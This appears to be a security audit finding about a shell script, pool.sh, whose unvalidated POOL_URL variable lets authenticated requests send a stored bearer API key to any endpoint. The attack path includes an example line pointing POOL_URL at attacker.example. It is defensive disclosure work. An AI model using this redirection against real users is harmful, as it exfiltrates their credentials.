T09 · Insecure Skill Coding Practices
Warning
- Location
scripts/pool.sh:6- Finding
Bearer Token Disclosure Through an Attacker-Controlled API Endpoint
- Content
View full analysis
" >&2; exit 1; } } # ... curl -sf -X POST "$BASE_URL/api/contribute" \ -H "Content-Type: application/json" \ -H "$(auth_header)" \ -d "$(jq -n --arg t "$2" --arg c "$3" '{title:$t,content:$c}')" | jq . ``` The same authenticated request pattern is used by the `cite` and `challenge` commands. ### Technical Analysis The `POOL_URL` environment variable can replace the trusted service URL without any validation of the URL scheme or destination hostname. Authenticated commands subsequently attach the API key as a bearer token to requests sent to the configured endpoint. Although quoting prevents shell command injection through this variable, it does not prevent credential exfiltration. An attacker who can influence the process environment, shell configuration, CI configuration, or command invocation can redirect authenticated requests to a server under their control. A non-HTTPS endpoint can also expose the credential to network interception. ### Attack Path 1. The victim has previously registered, and a valid API key exists in `~/.pool-key` or the configured key file. 2. An attacker influences the execution environment by setting, for example: ```bash export POOL_URL="https://attacker.example" ``` 3. The victim invokes an authenticated command such as: ```bash pool contribute "Title" "Content" ``` 4. The script reads the stored API key and constructs the `Authorization: Bearer- Remediation
View remediation